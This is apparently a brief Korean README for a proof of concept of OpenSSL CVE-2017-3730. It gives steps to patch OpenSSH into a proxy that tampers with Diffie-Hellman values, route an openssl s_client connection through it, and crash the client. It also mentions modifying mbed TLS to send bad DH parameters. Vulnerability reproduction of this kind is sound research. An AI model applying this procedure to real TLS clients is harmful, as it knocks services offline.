CVE-2017-3730

OpenSSL CVE-2017-3730 개념 증명

OpenSSH를 프록시로 사용하여 DH 값을 실시간으로 패치하기

• DHE-PSK-WITH-AES-256-GCM-SHA384와 같은 암호 제품군을 사용하여 SSL 서버를 생성합니다. 예를 들어 10.0.2.2의 8899 포트에서 실행된다고 가정합니다.
• openssh-7.4p1 다운로드
• 패치 적용
• 빌드
• 다음과 같이 실행:

./ssh -vvv -N -D 1085 -o TCPKeepAlive=yes -o ServerAliveInterval=60 localhost

• 다른 터미널에서 다음과 같은 내용의 ~/.tsocks.conf 파일을 생성합니다:

server = 127.0.0.1
server_port = 1085
server_type = 5
local = 127.0.0.0/255.255.255.0

• ```export TSOCKS_CONF_FILE=`realpath ~/.tsocks.conf````
• tsocks
• 이렇게 하면 모든 네트워크 트래픽이 "악성" 프록시를 통해 흐르는 셸이 생성됩니다.
• openssl s_client -connect 10.0.2.2:8899 -psk AA
• 충돌 발생

잘못된 DH 매개변수를 제공하도록 mbed TLS 수정